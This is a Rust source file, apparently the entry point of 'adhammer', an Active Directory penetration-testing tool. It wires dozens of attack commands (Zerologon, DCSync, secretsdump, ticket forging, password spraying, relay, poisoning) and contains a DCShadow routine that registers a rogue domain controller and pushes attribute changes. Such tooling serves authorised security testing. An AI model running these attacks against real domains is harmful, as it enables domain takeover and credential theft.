#![allow(unknown_lints, clippy::chunks_exact_to_as_chunks)]
use adhammer_collector::Collector;
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
mod attacks;
mod blackbox;
mod checks;
mod dcshadow;
mod dumps;
mod enums;
mod esc_registry;
mod guided;
mod host_posture;
mod interactive;
mod poison;
mod session;
mod setup;
mod shared_args;
mod target;
mod ui;
mod winrm;
#[derive(Parser)]
#[command(
name = "adhammer",
version,
about = "Passive AD security assessment in Rust"
)]
struct Cli {
#[arg(long)]
old: bool,
#[arg(long)]
no_save: bool,
#[arg(long, global = true, value_name = "[user:pass@]host:port")]
socks: Option<String>,
#[arg(long, global = true)]
json: bool,
#[arg(long, global = true)]
text: bool,
#[arg(short = 'v', long = "verbose", global = true, action = clap::ArgAction::Count)]
verbosity: u8,
#[arg(long, global = true)]
debug: bool,
#[arg(long, global = true)]
quiet_interactive: bool,
#[command(subcommand)]
cmd: Option<Command>,
}
#[derive(Subcommand)]
enum Command {
Scan(attacks::scan::ScanArgs),
#[command(subcommand)]
Enum(EnumCmd),
#[command(subcommand)]
Attack(AttackCmd),
#[command(subcommand)]
Check(CheckCmd),
#[command(subcommand)]
Dump(DumpCmd),
Auto(AutoArgs),
#[command(subcommand)]
Setup(setup::SetupCmd),
Run(blackbox::RunArgs),
}
#[derive(Subcommand)]
enum CheckCmd {
Adcs(checks::adcs::CheckAdcsArgs),
}
#[derive(Subcommand)]
enum DumpCmd {
Laps(dumps::laps::DumpLapsArgs),
Gmsa(dumps::gmsa::DumpGmsaArgs),
}
#[derive(Parser)]
struct AutoArgs {
#[arg(long)]
url: String,
#[arg(long)]
user: String,
#[arg(long, default_value = "")]
password: adhammer_core::SecretString,
#[arg(long)]
insecure: bool,
#[arg(long)]
host: Option<String>,
#[arg(long)]
domain: Option<String>,
#[arg(long)]
realm: Option<String>,
#[arg(long)]
kdc: Option<String>,
#[arg(long, default_value = "adhammer-pentest-report.md")]
out: String,
#[arg(long)]
yes: bool,
#[arg(long)]
no_impact: bool,
}
#[derive(Subcommand)]
enum EnumCmd {
Samr(attacks::samr::SamrArgs),
Lsa(attacks::lsa::LsaArgs),
Net(enums::net::NetArgs),
Dns(enums::dns::DnsArgs),
Adcs(enums::dns::DnsArgs),
Esc(enums::esc_registry::EscArgs),
Posture(enums::posture::PostureArgs),
Sessions(enums::sessions::SessionsArgs),
Wkssvc(enums::sessions::SessionsArgs),
Hku(enums::sessions::SessionsArgs),
Sccm(enums::sccm::SysCenterArgs),
Scom(enums::sccm::SysCenterArgs),
#[command(name = "krb-users")]
KrbUsers(enums::krb::KrbArgs),
Web(enums::web::WebArgs),
Nullbind(enums::nullbind::NullbindArgs),
#[command(name = "rpc-null")]
RpcNull(enums::rpcnull::RpcNullArgs),
Shares(enums::shares::SharesArgs),
Host(enums::host::HostArgs),
Sysvol(enums::sysvol::SysvolArgs),
}
#[derive(Subcommand)]
enum AttackCmd {
Roast(attacks::scan::ScanArgs),
Spray(attacks::spray::SprayArgs),
Abuse(attacks::abuse::AbuseArgs),
Coerce(attacks::coerce::CoerceArgs),
Zerologon(attacks::zerologon::ZerologonArgs),
Rbcd(attacks::rbcd::RbcdArgs),
Constrained(attacks::rbcd::RbcdArgs),
Asktgt(attacks::asktgt::AsktgtArgs),
Dcsync(attacks::dcsync::DcsyncArgs),
Capture(CaptureArgs),
Poison(PoisonArgs),
Relay(attacks::relay::RelayArgs),
Exec(attacks::exec_pack::ExecArgs),
Atexec(attacks::exec_pack::ExecArgs),
Wmiexec(attacks::exec_pack::ExecArgs),
Secretsdump(attacks::secretsdump::SecretsdumpArgs),
Gmsa(attacks::gmsa::GmsaArgs),
Laps(attacks::laps::LapsArgs),
Winrm(attacks::winrm_exec::WinrmArgs),
Esc1(attacks::esc1::Esc1Args),
#[command(name = "icpr-esc1")]
IcprEsc1(attacks::icpr_esc1::IcprEsc1Args),
Golden(attacks::golden::GoldenArgs),
Diamond(attacks::diamond::DiamondArgs),
Unpac(attacks::unpac::UnpacArgs),
#[command(name = "dpapi-master-key")]
DpapiMasterKey(attacks::dpapi_mk::DpapiMkArgs),
Silver(attacks::silver::SilverArgs),
#[command(name = "ptt", visible_alias = "pth")]
Ptt(attacks::ptt::PthArgs),
Unconstrained(attacks::scan::ScanArgs),
Badsuccessor(attacks::badsuccessor::BadsuccessorArgs),
Esc4(attacks::esc4::Esc4Args),
Shadowcred(attacks::shadowcred::ShadowcredArgs),
Dcshadow(Box<DcshadowArgs>),
Mssql(attacks::mssql::MssqlArgs),
Dns(attacks::dns::DnsArgs),
}
#[derive(Parser)]
struct DcshadowArgs {
#[command(flatten)]
scan: attacks::scan::ScanArgs,
#[arg(long)]
prep: Option<String>,
#[arg(long)]
cleanup: Option<String>,
#[arg(long, default_value = "Default-First-Site-Name")]
site: String,
#[arg(long)]
drsuapi: bool,
#[arg(long)]
push: bool,
#[arg(long)]
drs_host: Option<String>,
#[arg(long)]
drs_domain: Option<String>,
#[arg(long)]
target: Option<String>,
#[arg(long)]
attr: Option<String>,
#[arg(long)]
value: Option<String>,
#[arg(long)]
value_hex: Option<String>,
#[arg(long)]
rogue_dsa: Option<String>,
}
#[derive(Parser)]
struct PoisonArgs {
#[arg(long)]
spoof_ip: std::net::Ipv4Addr,
}
#[derive(Parser)]
struct CaptureArgs {
#[arg(long, default_value = "0.0.0.0:445")]
listen: String,
}
#[cfg(windows)]
fn enable_windows_console() {
const STD_OUTPUT_HANDLE: u32 = -11i32 as u32;
const STD_ERROR_HANDLE: u32 = -12i32 as u32;
const ENABLE_VIRTUAL_TERMINAL_PROCESSING: u32 = 0x0004;
const CP_UTF8: u32 = 65001;
#[link(name = "kernel32")]
extern "system" {
fn GetStdHandle(nstdhandle: u32) -> *mut core::ffi::c_void;
fn GetConsoleMode(handle: *mut core::ffi::c_void, mode: *mut u32) -> i32;
fn SetConsoleMode(handle: *mut core::ffi::c_void, mode: u32) -> i32;
fn SetConsoleOutputCP(codepage: u32) -> i32;
}
unsafe {
SetConsoleOutputCP(CP_UTF8);
for h in [STD_OUTPUT_HANDLE, STD_ERROR_HANDLE] {
let handle = GetStdHandle(h);
let mut mode = 0u32;
if GetConsoleMode(handle, &mut mode) != 0 {
SetConsoleMode(handle, mode | ENABLE_VIRTUAL_TERMINAL_PROCESSING);
}
}
}
}
#[cfg(not(windows))]
fn enable_windows_console() {}
fn build_tracing_filter(verbosity: u8, debug_alias: bool) -> tracing_subscriber::EnvFilter {
use tracing_subscriber::EnvFilter;
let level = if debug_alias {
verbosity.max(2)
} else {
verbosity
};
match level {
0 => EnvFilter::try_from_default_env().unwrap_or_else(|_| EnvFilter::new("warn")),
1 => EnvFilter::try_new(
"warn,adhammer=info,adhammer_collector=info,adhammer_checks=info,\
adhammer_graph=info,adhammer_kerberos=info,adhammer_report=info,dcerpc=warn",
)
.expect("static filter is well-formed"),
2 => EnvFilter::try_new(
"warn,adhammer=debug,adhammer_collector=debug,adhammer_checks=debug,\
adhammer_graph=debug,adhammer_kerberos=debug,adhammer_report=debug,\
dcerpc=debug,smb2_client=debug,ntlmssp=debug,ldap3=warn",
)
.expect("static filter is well-formed"),
_ => EnvFilter::try_new(
"info,adhammer=trace,adhammer_collector=trace,adhammer_checks=trace,\
adhammer_graph=trace,adhammer_kerberos=trace,adhammer_report=trace,\
adhammer_sysvol=trace,dcerpc=trace,smb2_client=trace,ntlmssp=trace,ldap3=warn",
)
.expect("static filter is well-formed"),
}
}
fn effective_interactive_verbosity(cmd_is_none: bool, quiet: bool, user_verbosity: u8) -> u8 {
if cmd_is_none && !quiet && user_verbosity < 3 {
3
} else {
user_verbosity
}
}
fn install_rustls_crypto_provider() -> Result<()> {
rustls::crypto::aws_lc_rs::default_provider()
.install_default()
.map_err(|_| {
anyhow::anyhow!("Rustls crypto provider was initialized before ADhammer startup")
})
}
#[tokio::main]
async fn main() -> Result<()> {
install_rustls_crypto_provider()?;
enable_windows_console();
validate_secret_argv(&std::env::args().skip(1).collect::<Vec<_>>())?;
let cli = Cli::parse();
let effective_verbosity =
effective_interactive_verbosity(cli.cmd.is_none(), cli.quiet_interactive, cli.verbosity);
tracing_subscriber::fmt()
.with_target(false)
.with_env_filter(build_tracing_filter(effective_verbosity, cli.debug))
.init();
if let Some(spec) = &cli.socks {
match smb2_client::socks::Socks5::parse(spec) {
Some(cfg) => {
ui::info(&format!("routing all TCP through SOCKS5 {}", cfg.proxy));
smb2_client::socks::set_proxy(Some(cfg));
}
None => {
anyhow::bail!("invalid --socks value '{spec}' (expected [user:pass@]host:port)");
}
}
}
match cli.cmd {
None => {
let verbose_auto_forced =
cli.cmd.is_none() && !cli.quiet_interactive && cli.verbosity < 3;
interactive::run(cli.old, cli.no_save, verbose_auto_forced).await
}
Some(cmd) => {
if cli.text {
dispatch(cmd).await
} else {
dispatch_json(cmd).await
}
}
}
}
const SECRET_VALUE_FLAGS: &[&str] = &[
"--password",
"--nt-hash",
"--account-password",
"--template-password",
"--krbtgt-aes256",
"--service-aes256",
"--pwdkey",
"--restore",
"--restore-password",
];
fn validate_secret_argv(args: &[String]) -> Result<()> {
fn safe_reference(value: &str) -> bool {
value.is_empty() || value.starts_with("env:") || value.starts_with("@file:")
}
let mut index = 0;
while index < args.len() {
let argument = &args[index];
if let Some((flag, value)) = argument.split_once('=') {
if SECRET_VALUE_FLAGS.contains(&flag) && !safe_reference(value) {
anyhow::bail!(
"literal credential arguments are refused for {flag}; use env:VAR, @file:PATH, or the secure prompt"
);
}
} else if SECRET_VALUE_FLAGS.contains(&argument.as_str()) {
if let Some(value) = args.get(index + 1) {
if !safe_reference(value) {
anyhow::bail!(
"literal credential arguments are refused for {argument}; use env:VAR, @file:PATH, or the secure prompt"
);
}
index += 1;
}
}
index += 1;
}
Ok(())
}
async fn dispatch_json(cmd: Command) -> Result<()> {
if matches!(
cmd,
Command::Scan(_)
| Command::Auto(_)
| Command::Check(_)
| Command::Setup(_)
| Command::Run(_)
) {
return dispatch(cmd).await;
}
let cmd_str = format!("adhammer {}", cmd_label(&cmd));
let exe = std::env::current_exe().context("locate adhammer binary for JSON wrapper")?;
let mut child_args = args_without_json(std::env::args().skip(1).collect());
child_args.push("--text".to_string());
let output = std::process::Command::new(exe)
.args(&child_args)
.stdin(std::process::Stdio::inherit())
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.output()
.context("run child command for JSON wrapper")?;
let ar = adhammer_core::AttackResult {
command: cmd_str,
success: output.status.success(),
evidence: merge_output(&output.stdout, &output.stderr),
finding_id: None,
};
println!("{}", serde_json::to_string_pretty(&ar)?);
if output.status.success() {
Ok(())
} else {
anyhow::bail!("wrapped command exited with {}", output.status);
}
}
fn args_without_json(args: Vec<String>) -> Vec<String> {
args.into_iter().filter(|arg| arg != "--json").collect()
}
fn merge_output(stdout: &[u8], stderr: &[u8]) -> String {
let stdout = String::from_utf8_lossy(stdout).trim().to_string();
let stderr = String::from_utf8_lossy(stderr).trim().to_string();
match (stdout.is_empty(), stderr.is_empty()) {
(true, true) => String::new(),
(false, true) => stdout,
(true, false) => stderr,
(false, false) => format!("{stdout}\n{stderr}"),
}
}
fn cmd_label(cmd: &Command) -> &'static str {
match cmd {
Command::Scan(_) => "scan",
Command::Enum(e) => match e {
EnumCmd::Samr(_) => "enum samr",
EnumCmd::Lsa(_) => "enum lsa",
EnumCmd::Net(_) => "enum net",
EnumCmd::Dns(_) => "enum dns",
EnumCmd::Adcs(_) => "enum adcs",
EnumCmd::Esc(_) => "enum esc",
EnumCmd::Posture(_) => "enum posture",
EnumCmd::Sessions(_) => "enum sessions",
EnumCmd::Wkssvc(_) => "enum wkssvc",
EnumCmd::Hku(_) => "enum hku",
EnumCmd::Sccm(_) => "enum sccm",
EnumCmd::Scom(_) => "enum scom",
EnumCmd::KrbUsers(_) => "enum krb-users",
EnumCmd::Web(_) => "enum web",
EnumCmd::Nullbind(_) => "enum nullbind",
EnumCmd::RpcNull(_) => "enum rpc-null",
EnumCmd::Shares(_) => "enum shares",
EnumCmd::Host(_) => "enum host",
EnumCmd::Sysvol(_) => "enum sysvol",
},
Command::Attack(a) => match a {
AttackCmd::Roast(_) => "attack roast",
AttackCmd::Spray(_) => "attack spray",
AttackCmd::Abuse(_) => "attack abuse",
AttackCmd::Coerce(_) => "attack coerce",
AttackCmd::Zerologon(_) => "attack zerologon",
AttackCmd::Rbcd(_) => "attack rbcd",
AttackCmd::Constrained(_) => "attack constrained",
AttackCmd::Asktgt(_) => "attack asktgt",
AttackCmd::Dcsync(_) => "attack dcsync",
AttackCmd::Capture(_) => "attack capture",
AttackCmd::Poison(_) => "attack poison",
AttackCmd::Relay(_) => "attack relay",
AttackCmd::Exec(_) => "attack exec",
AttackCmd::Atexec(_) => "attack atexec",
AttackCmd::Wmiexec(_) => "attack wmiexec",
AttackCmd::Secretsdump(_) => "attack secretsdump",
AttackCmd::Gmsa(_) => "attack gmsa",
AttackCmd::Laps(_) => "attack laps",
AttackCmd::Winrm(_) => "attack winrm",
AttackCmd::Esc1(_) => "attack esc1",
AttackCmd::IcprEsc1(_) => "attack icpr-esc1",
AttackCmd::Golden(_) => "attack golden",
AttackCmd::Diamond(_) => "attack diamond",
AttackCmd::Unpac(_) => "attack unpac",
AttackCmd::DpapiMasterKey(_) => "attack dpapi-master-key",
AttackCmd::Silver(_) => "attack silver",
AttackCmd::Ptt(_) => "attack ptt",
AttackCmd::Unconstrained(_) => "attack unconstrained",
AttackCmd::Badsuccessor(_) => "attack badsuccessor",
AttackCmd::Esc4(_) => "attack esc4",
AttackCmd::Shadowcred(_) => "attack shadowcred",
AttackCmd::Dcshadow(_) => "attack dcshadow",
AttackCmd::Mssql(_) => "attack mssql",
AttackCmd::Dns(_) => "attack dns",
},
Command::Check(_) => "check adcs",
Command::Dump(d) => match d {
DumpCmd::Laps(_) => "dump laps",
DumpCmd::Gmsa(_) => "dump gmsa",
},
Command::Auto(_) => "auto",
Command::Setup(s) => match s {
setup::SetupCmd::Krb5(_) => "setup krb5",
},
Command::Run(_) => "run",
}
}
async fn dispatch(cmd: Command) -> Result<()> {
match cmd {
Command::Scan(a) => attacks::scan::scan(a).await,
Command::Enum(EnumCmd::Samr(a)) => attacks::samr::samr(a).await,
Command::Enum(EnumCmd::Lsa(a)) => attacks::lsa::lsa(a).await,
Command::Enum(EnumCmd::Net(a)) => enums::net::netenum(a).await,
Command::Enum(EnumCmd::Dns(a)) => enums::dns::dnsenum(a).await,
Command::Enum(EnumCmd::Adcs(a)) => enums::adcs::adcsenum(a).await,
Command::Enum(EnumCmd::Esc(a)) => enums::esc_registry::esc_registry_scan(a).await,
Command::Enum(EnumCmd::Posture(a)) => enums::posture::posture_scan(a).await,
Command::Enum(EnumCmd::Sessions(a)) => enums::sessions::sessions(a).await,
Command::Enum(EnumCmd::Wkssvc(a)) => enums::sessions::wkssvc_enum(a).await,
Command::Enum(EnumCmd::Hku(a)) => enums::sessions::hku_enum(a).await,
Command::Enum(EnumCmd::Sccm(a)) => enums::sccm::sccmenum(a).await,
Command::Enum(EnumCmd::Scom(a)) => enums::sccm::scomenum(a).await,
Command::Enum(EnumCmd::KrbUsers(a)) => enums::krb::krbenum(a).await,
Command::Enum(EnumCmd::Web(a)) => enums::web::webenum(a).await,
Command::Enum(EnumCmd::Nullbind(a)) => enums::nullbind::nullbind(a).await,
Command::Enum(EnumCmd::RpcNull(a)) => enums::rpcnull::rpcnull(a).await,
Command::Enum(EnumCmd::Shares(a)) => enums::shares::shares(a).await,
Command::Enum(EnumCmd::Host(a)) => enums::host::host(a).await,
Command::Enum(EnumCmd::Sysvol(a)) => enums::sysvol::sysvol(a).await,
Command::Attack(AttackCmd::Roast(a)) => attacks::roast::roast(a).await,
Command::Attack(AttackCmd::Spray(a)) => attacks::spray::spray(a).await,
Command::Attack(AttackCmd::Abuse(a)) => attacks::abuse::abuse(a).await,
Command::Attack(AttackCmd::Coerce(a)) => attacks::coerce::coerce(a).await,
Command::Attack(AttackCmd::Zerologon(a)) => attacks::zerologon::zerologon(a).await,
Command::Attack(AttackCmd::Rbcd(a)) => attacks::rbcd::rbcd(a).await,
Command::Attack(AttackCmd::Constrained(a)) => attacks::rbcd::rbcd(a).await,
Command::Attack(AttackCmd::Asktgt(a)) => attacks::asktgt::asktgt(a).await,
Command::Attack(AttackCmd::Dcsync(a)) => attacks::dcsync::dcsync(a).await,
Command::Attack(AttackCmd::Capture(a)) => smb2_client::server::capture(&a.listen)
.await
.map_err(Into::into),
Command::Attack(AttackCmd::Poison(a)) => poison::poison(a.spoof_ip).await,
Command::Attack(AttackCmd::Relay(a)) => attacks::relay::relay(a).await,
Command::Attack(AttackCmd::Exec(a)) => attacks::exec_pack::exec_cmd(a).await,
Command::Attack(AttackCmd::Atexec(a)) => attacks::exec_pack::atexec_cmd(a).await,
Command::Attack(AttackCmd::Wmiexec(a)) => attacks::exec_pack::wmiexec_cmd(a).await,
Command::Attack(AttackCmd::Secretsdump(a)) => attacks::secretsdump::secretsdump(a).await,
Command::Attack(AttackCmd::Gmsa(a)) => attacks::gmsa::gmsa(a).await,
Command::Attack(AttackCmd::Laps(a)) => attacks::laps::laps(a).await,
Command::Attack(AttackCmd::Winrm(a)) => attacks::winrm_exec::winrm_exec(a).await,
Command::Attack(AttackCmd::Esc1(a)) => attacks::esc1::esc1(a).await,
Command::Attack(AttackCmd::IcprEsc1(a)) => attacks::icpr_esc1::icpr_esc1(a).await,
Command::Attack(AttackCmd::Golden(a)) => attacks::golden::golden(a).await,
Command::Attack(AttackCmd::Diamond(a)) => attacks::diamond::diamond(a).await,
Command::Attack(AttackCmd::Unpac(a)) => attacks::unpac::unpac(a).await,
Command::Attack(AttackCmd::DpapiMasterKey(a)) => {
attacks::dpapi_mk::dpapi_master_key(a).await
}
Command::Attack(AttackCmd::Silver(a)) => attacks::silver::silver(a).await,
Command::Attack(AttackCmd::Ptt(a)) => {
if std::env::args().any(|a| a == "pth") {
eprintln!(
"[!] `attack pth` is deprecated (industry PTH = pass-the-hash); \
use `attack ptt` (pass-the-ticket). Alias will be removed in 1.5.0."
);
}
attacks::ptt::pth(a).await
}
Command::Attack(AttackCmd::Unconstrained(a)) => {
attacks::unconstrained::unconstrained(a).await
}
Command::Attack(AttackCmd::Badsuccessor(a)) => attacks::badsuccessor::badsuccessor(a).await,
Command::Attack(AttackCmd::Esc4(a)) => attacks::esc4::esc4(a).await,
Command::Attack(AttackCmd::Shadowcred(a)) => attacks::shadowcred::shadowcred(a).await,
Command::Attack(AttackCmd::Dcshadow(a)) => dcshadow(*a).await,
Command::Attack(AttackCmd::Mssql(a)) => attacks::mssql::mssql(a).await,
Command::Attack(AttackCmd::Dns(a)) => attacks::dns::dns(a).await,
Command::Check(CheckCmd::Adcs(a)) => checks::adcs::check_adcs(a).await,
Command::Dump(DumpCmd::Laps(a)) => dumps::laps::dump_laps(a).await,
Command::Dump(DumpCmd::Gmsa(a)) => dumps::gmsa::dump_gmsa(a).await,
Command::Setup(setup::SetupCmd::Krb5(a)) => setup::krb5::run(a).await,
Command::Run(a) => blackbox::run(a).await,
Command::Auto(a) => {
guided::guided(guided::GuidedArgs {
url: a.url,
user: a.user,
password: a.password,
insecure: a.insecure,
host: a.host,
domain: a.domain,
realm: a.realm,
kdc: a.kdc,
out: a.out,
yes: a.yes,
no_impact: a.no_impact,
})
.await
}
}
}
#[cfg(test)]
mod rustls_provider_tests {
use super::install_rustls_crypto_provider;
#[test]
fn implicit_client_builder_has_a_process_provider() {
install_rustls_crypto_provider().unwrap();
let _ = rustls::ClientConfig::builder();
}
}
pub(crate) fn resolve_secret(
argv_value: impl AsRef<str>,
env_key: &str,
) -> Result<adhammer_core::SecretString> {
let argv_value = argv_value.as_ref();
if let Some(referenced_key) = argv_value.strip_prefix("env:") {
anyhow::ensure!(
!referenced_key.is_empty()
&& referenced_key
.bytes()
.all(|b| b == b'_' || b.is_ascii_alphanumeric())
&& !referenced_key.as_bytes()[0].is_ascii_digit(),
"invalid environment-variable reference in credential argument"
);
return std::env::var(referenced_key)
.map(adhammer_core::SecretString::new)
.with_context(|| {
format!("credential environment variable {referenced_key} is not set")
});
}
if let Some(path) = argv_value.strip_prefix("@file:") {
let raw =
std::fs::read_to_string(path).with_context(|| format!("read password file {path}"))?;
return Ok(raw.trim_end_matches(['\n', '\r']).to_string().into());
}
if !argv_value.is_empty() {
return Ok(argv_value.to_owned().into());
}
if let Ok(v) = std::env::var(env_key) {
if !v.is_empty() {
return Ok(v.into());
}
}
use std::io::IsTerminal;
if std::io::stdin().is_terminal() {
let pw = dialoguer::Password::new()
.with_prompt(format!("password (or set {env_key})"))
.interact()
.context("read password from tty")?;
return Ok(pw.into());
}
Ok(String::new().into())
}
#[cfg(test)]
mod resolve_secret_tests {
use super::{args_without_json, merge_output, resolve_secret, validate_secret_argv};
use std::io::Write as _;
#[test]
fn already_parsed_secret_is_preserved() {
std::env::remove_var("ADHAMMER_TEST_UNSET");
let got = resolve_secret("literal-pw", "ADHAMMER_TEST_UNSET").unwrap();
assert_eq!(got.expose_secret(), "literal-pw");
}
#[test]
fn argv_guard_rejects_both_literal_forms() {
for args in [
vec![
"attack".into(),
"spray".into(),
"--password".into(),
"pw".into(),
],
vec!["attack".into(), "asktgt".into(), "--nt-hash=0011".into()],
] {
assert!(validate_secret_argv(&args).is_err());
}
}
#[test]
fn argv_guard_allows_secret_references() {
let args = vec![
"attack".into(),
"asktgt".into(),
"--password=env:ADH_PW".into(),
"--nt-hash".into(),
"@file:C:\\secrets\\hash.txt".into(),
];
validate_secret_argv(&args).unwrap();
}
#[test]
fn env_var_used_when_argv_empty() {
std::env::set_var("ADHAMMER_TEST_ENV_HIT", "from-env");
let got = resolve_secret("", "ADHAMMER_TEST_ENV_HIT").unwrap();
std::env::remove_var("ADHAMMER_TEST_ENV_HIT");
assert_eq!(got.expose_secret(), "from-env");
}
#[test]
fn explicit_env_reference_is_resolved() {
std::env::set_var("ADHAMMER_TEST_EXPLICIT_ENV", "from-explicit-env");
let got = resolve_secret("env:ADHAMMER_TEST_EXPLICIT_ENV", "ADHAMMER_UNUSED").unwrap();
std::env::remove_var("ADHAMMER_TEST_EXPLICIT_ENV");
assert_eq!(got.expose_secret(), "from-explicit-env");
}
#[test]
fn explicit_env_reference_fails_closed() {
std::env::remove_var("ADHAMMER_TEST_EXPLICIT_MISSING");
let err =
resolve_secret("env:ADHAMMER_TEST_EXPLICIT_MISSING", "ADHAMMER_UNUSED").unwrap_err();
assert!(format!("{err:#}")
.contains("credential environment variable ADHAMMER_TEST_EXPLICIT_MISSING is not set"));
}
#[test]
fn malformed_env_reference_is_rejected() {
for value in ["env:", "env:1STARTS_WITH_DIGIT", "env:HAS-DASH"] {
let err = resolve_secret(value, "ADHAMMER_UNUSED").unwrap_err();
assert!(format!("{err:#}").contains("invalid environment-variable reference"));
}
}
#[test]
fn empty_env_falls_through_to_prompt_or_empty() {
std::env::remove_var("ADHAMMER_TEST_MISSING");
let got = resolve_secret("", "ADHAMMER_TEST_MISSING").unwrap();
assert_eq!(got.expose_secret(), "");
}
#[test]
fn file_ref_reads_and_trims_trailing_newline() {
let dir = std::env::temp_dir().join("adhammer_resolve_secret_tests");
std::fs::create_dir_all(&dir).unwrap();
let path = dir.join("pw.txt");
let mut f = std::fs::File::create(&path).unwrap();
f.write_all(b"hunter2\r\n").unwrap();
drop(f);
let arg = format!("@file:{}", path.display());
let got = resolve_secret(&arg, "ADHAMMER_UNUSED").unwrap();
assert_eq!(got.expose_secret(), "hunter2");
let _ = std::fs::remove_file(&path);
}
#[test]
fn file_ref_missing_file_is_an_error() {
let err = resolve_secret("@file:/no/such/adhammer/pw.txt", "ADHAMMER_UNUSED").unwrap_err();
let msg = format!("{err:#}");
assert!(
msg.contains("read password file"),
"unexpected error: {msg}"
);
}
#[test]
fn json_wrapper_strips_all_json_flags() {
let got = args_without_json(vec![
"attack".into(),
"--json".into(),
"icpr-esc1".into(),
"--json".into(),
"--ca".into(),
"TEST-CA".into(),
]);
assert_eq!(got, vec!["attack", "icpr-esc1", "--ca", "TEST-CA"]);
}
#[test]
fn merged_output_preserves_stdout_and_stderr() {
let got = merge_output(b"hello\n", b"warn\n");
assert_eq!(got, "hello\nwarn");
}
}
pub(crate) fn parse_nt_hash(s: &str) -> Result<[u8; 16]> {
let hex_str = s.rsplit(':').next().unwrap_or(s).trim();
let raw = hex::decode(hex_str).context("--nt-hash must be hex")?;
anyhow::ensure!(
raw.len() == 16,
"--nt-hash must be a 32-hex NT hash (got {} bytes)",
raw.len()
);
Ok(raw.try_into().unwrap())
}
pub(crate) fn parse_forge_key(s: &str, rc4: bool) -> Result<Vec<u8>> {
let raw = hex::decode(s.trim()).context("forge key must be hex")?;
let want = if rc4 { 16 } else { 32 };
anyhow::ensure!(
raw.len() == want,
"expected a {}-hex {} key, got {} hex",
want * 2,
if rc4 { "RC4/NT-hash" } else { "AES256" },
raw.len() * 2
);
Ok(raw)
}
pub(crate) async fn smb_login(
smb: &mut smb2_client::SmbClient,
host: &str,
domain: &str,
user: &str,
password: &adhammer_core::SecretString,
nt_hash: &Option<adhammer_core::SecretString>,
) -> Result<()> {
match nt_hash {
Some(h) => {
let nt = parse_nt_hash(h.expose_secret())?;
smb.login_hash(host, domain, user, &nt).await?;
}
None => {
anyhow::ensure!(!password.is_empty(), "provide --password or --nt-hash");
smb.login(host, domain, user, password.expose_secret())
.await?;
}
}
Ok(())
}
pub(crate) fn parse_managed_password_blob(b: &[u8]) -> Option<Vec<u8>> {
if b.len() < 16 {
return None;
}
let cur_off = u16::from_le_bytes([b[8], b[9]]) as usize; let prev_off = u16::from_le_bytes([b[10], b[11]]) as usize; let end = if prev_off > cur_off {
prev_off
} else {
b.len()
};
let pw = b.get(cur_off..end)?;
Some(pw.get(..256).unwrap_or(pw).to_vec())
}
async fn dcshadow(mut a: DcshadowArgs) -> Result<()> {
a.scan.auth.password = resolve_secret(&a.scan.auth.password, "ADHAMMER_PASSWORD")?;
if a.drsuapi && a.push {
let drs = build_drs_auth(&a)?;
let target = a
.target
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--push requires --target <DN>"))?;
let rogue_dsa = a
.rogue_dsa
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--push requires --rogue-dsa <dns-name>"))?;
let attr_typ = parse_attr_typ(&a)?;
let value = parse_push_value(&a)?;
let dst_nc = target
.split(',')
.filter(|c| c.trim_start().to_ascii_lowercase().starts_with("dc="))
.collect::<Vec<_>>()
.join(",");
if dst_nc.is_empty() {
anyhow::bail!("--target must contain at least one DC= component to derive the NC");
}
dcshadow::drsuapi_push(&drs, &dst_nc, rogue_dsa, target, attr_typ, value).await?;
println!(
"[+] DCShadow push landed: {target} attr=0x{attr_typ:08x} via rogue DSA {rogue_dsa}"
);
println!(" Verify: read the attribute back (e.g. `Get-ADUser -Filter …`) on the DC");
return Ok(());
}
if let Some(name) = a.prep.as_deref() {
use adhammer_collector::Collector;
let mut coll = Collector::connect(&attacks::scan::config(&a.scan)).await?;
let (dns, path) = if a.drsuapi {
let drs = build_drs_auth(&a)?;
(
dcshadow::drsuapi_prep(&mut coll, &drs, name, &a.site).await?,
"DRSUAPI (IDL_DRSAddEntry opnum 17)",
)
} else {
(
dcshadow::prep(&mut coll, name, &a.site).await?,
"LDAP (≤2016)",
)
};
println!("[+] DCShadow prep registered rogue nTDSDSA via {path}");
println!(" Server : {}", dns.server_dn);
println!(" NTDS : {}", dns.ntds_dn);
println!();
println!(
" Cleanup: `attack dcshadow --cleanup {name} --site {}`",
a.site
);
return Ok(());
}
if let Some(name) = a.cleanup.as_deref() {
use adhammer_collector::Collector;
let mut coll = Collector::connect(&attacks::scan::config(&a.scan)).await?;
dcshadow::cleanup(&mut coll, name, &a.site).await?;
println!(
"[+] DCShadow cleanup removed rogue nTDSDSA '{name}' under site '{}'",
a.site
);
return Ok(());
}
use adhammer_graph::ControlPrimitive as P;
let snap = Collector::connect(&attacks::scan::config(&a.scan))
.await?
.collect()
.await?;
let graph = adhammer_graph::ControlGraph::build(&snap);
let mut who = Vec::new();
for kind in [
P::DcsyncGetChanges,
P::DcsyncGetChangesAll,
P::DcsyncGetChangesFiltered,
] {
for (src, dst) in graph.direct_edges_to_tier0(kind.into()) {
who.push((src, dst, kind));
}
}
if who.is_empty() {
println!("== DCShadow-capable principals ==");
println!(" (none found — no principal outside Tier-0 holds replication rights)");
} else {
println!("== DCShadow-capable principals ({}) ==", who.len());
for (src, dst, kind) in &who {
println!(" {src:<32} → {dst} [{}]", kind.name());
}
println!();
println!(
"These already have DCSync. Each is a shortcut to DA — running `attack dcsync --user krbtgt`"
);
println!("as any of them dumps the whole domain without a lateral move.");
}
Ok(())
}
fn build_drs_auth(a: &DcshadowArgs) -> Result<dcshadow::DrsAuth> {
let host = a
.drs_host
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--drsuapi requires --drs-host <dns-name-or-ip>"))?;
let domain = a
.drs_domain
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--drsuapi requires --drs-domain <NETBIOS>"))?;
Ok(dcshadow::DrsAuth {
host: host.to_string(),
domain: domain.to_string(),
user: a.scan.auth.user.clone(),
password: a.scan.auth.password.clone(),
})
}
fn parse_attr_typ(a: &DcshadowArgs) -> Result<u32> {
let s = a
.attr
.as_deref()
.ok_or_else(|| anyhow::anyhow!("--push requires --attr <ATTRTYP>"))?;
let s = s.trim();
let n = if let Some(hex) = s.strip_prefix("0x").or_else(|| s.strip_prefix("0X")) {
u32::from_str_radix(hex, 16)
} else {
s.parse::<u32>()
};
n.map_err(|_| anyhow::anyhow!("--attr must be an integer or 0x-hex ATTRTYP, got {s:?}"))
}
